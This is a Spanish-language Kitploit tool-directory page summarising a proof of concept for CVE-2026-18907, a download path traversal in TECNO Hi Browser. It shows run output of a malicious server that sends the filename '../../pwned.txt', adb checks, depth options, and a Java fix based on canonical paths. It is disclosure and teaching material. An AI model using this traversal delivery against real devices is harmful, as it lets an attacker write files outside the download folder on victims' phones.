Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal — PoC en Python para el path traversal CVE-2026-18907 en el controlador de descargas de TECNO Hi Browser. Incluye un servidor HTTP malicioso y un descargador ingenuo para demostrar la corrección. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónPentesting de Apps MóvilesExplotación de Aplicaciones WebSeguridad WebSeguridad Móvil
GitHubhunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

PoC en Python para el path traversal CVE-2026-18907 en el controlador de descargas de TECNO Hi Browser. Incluye un servidor HTTP malicioso y un descargador ingenuo para demostrar la corrección.

Ver Repositorio
hace 9 díasAún no revisado

CVE-2026-18907 — Path Traversal en el controlador de descargas de TECNO Hi Browser

Prueba de concepto para CVE-2026-18907 (CVSS 7.5 High, CWE-23), una vulnerabilidad de path traversal relativo en la funcionalidad de descarga de archivos de TECNO Hi Browser (com.talpa.hibrowser) versión 2.23.1.1. El navegador confiaba en un nombre de archivo Content-Disposition controlado por el atacante y lo unía al directorio de descargas sin sanitizar los separadores de ruta ni comprobar la canonicalización de la ruta resultante — por lo que las secuencias ../ en el nombre de archivo permitían que el cuerpo de la respuesta se escribiera fuera de Download/ en cualquier ruta que los permisos de almacenamiento del navegador permitieran.

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-18907
  • Aviso del fabricante (TECNO SRC): https://security.tecno.com/SRC/blogdetail/448?lang=en_US
  • Artículo adjunto: https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
  • Investigador acreditado: MUSTAFA SANLI
  • Estado: corregido en la última versión de Hi Browser (según el aviso de TECNO).

Este PoC no incluye el APK propietario com.talpa.hibrowser. Demuestra (a) la entrega HTTP maliciosa exacta y (b) la clase de causa raíz del fallo (un descargador que confía en un nombre de archivo de la respuesta como componente de ruta). La misma primitiva es la que describe CVE-2026-18907.

Archivos

ArchivoPropósito
evil_server.pyEl servidor HTTP malicioso. Sirve una respuesta cuyo nombre de archivo contiene . Esta es la .

Inicio rápido

root@kitploit:~
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
 CVE-2026-18907 path-traversal delivery server
================================================================
 listening     : http://0.0.0.0:8000/
 traversal file: '../../pwned.txt'
 payload bytes : 43
----------------------------------------------------------------
 Point a vulnerable browser/downloader at the URL above.
 On a VULNERABLE client the file escapes the download dir.
================================================================

# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
 CVE-2026-18907 naive downloader
================================================================
 download dir : /tmp/demo/Download
 Content-Disposition: attachment; filename="../../pwned.txt"
 parsed name  : '../../pwned.txt'
----------------------------------------------------------------
 [VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
              resolved -> /tmp/pwned.txt
              escaped download dir: True
 [FIXED]      wrote 43 bytes -> /tmp/demo/Download/pwned.txt
             ../ discarded by basename(); contained OK
================================================================

La unión vulnerable produjo /tmp/demo/Download/../../pwned.txt, el sistema operativo resolvió el .., y el archivo se materializó en /tmp/pwned.txt — fuera del directorio de descargas. La ruta corregida usó primero os.path.basename() (el ../ es información de ruta y se descarta, quedando pwned.txt) y después verificó que la ruta canónica permaneciera dentro del directorio de descargas.

Apuntando un navegador hacia ella

Inicia evil_server.py en un host al que el dispositivo de prueba pueda acceder y, a continuación, navega con un navegador vulnerable a http://<host>:8000/. En un navegador que inicia automáticamente las descargas attachment y no sanitiza el nombre de archivo, el archivo se escribe en una ruta resuelta por la cadena ../. Verifica que la contención falló con adb:

root@kitploit:~
$ adb shell ls -la /sdcard/Download/         # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt                            # escaped the download directory

Ajusta la profundidad de ascenso al dispositivo con --depth (el valor predeterminado 2 limpia /sdcard/Download/ hasta /sdcard/; auméntalo para subir más), y el basename de destino con --target.

La solución (un patrón)

Para cualquier gestor de descargas, toda la clase CWE-23 se reduce a dos hábitos aplicados juntos:

  1. Reducir a un basename — elimina todo hasta la última / inclusive.
  2. Verificar la contención de la ruta canónica — después de unir, canonicaliza y comprueba que el resultado siga comenzando con el directorio previsto.
root@kitploit:~
File base = downloadDir.getCanonicalFile();
File out  = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
    throw new SecurityException("refusing to write outside download dir: " + out);
}

No pongas ../ en una lista negra — el conjunto de codificaciones equivalentes al traversal es abierto. Canonicaliza y luego compara. Ese algoritmo es cerrado.

Uso responsable

Ejecuta el servidor solo en una red que controles y prueba únicamente contra un dispositivo que te pertenezca. Una escritura por path traversal es, por definición, una primitiva de escritura de archivos — no la apuntes a nada que no estés dispuesto a sobrescribir.

Licencia

MIT — consulta el artículo adjunto para la atribución completa y las fuentes primarias.

Descargar herramienta
Content-Disposition
../
entrega
naive_downloader.pyUn descargador mínimo que reproduce el patrón vulnerable join(dir, filename), junto con la versión corregida (basename + contención canónica), para que puedas ver la fuga en una sola ejecución.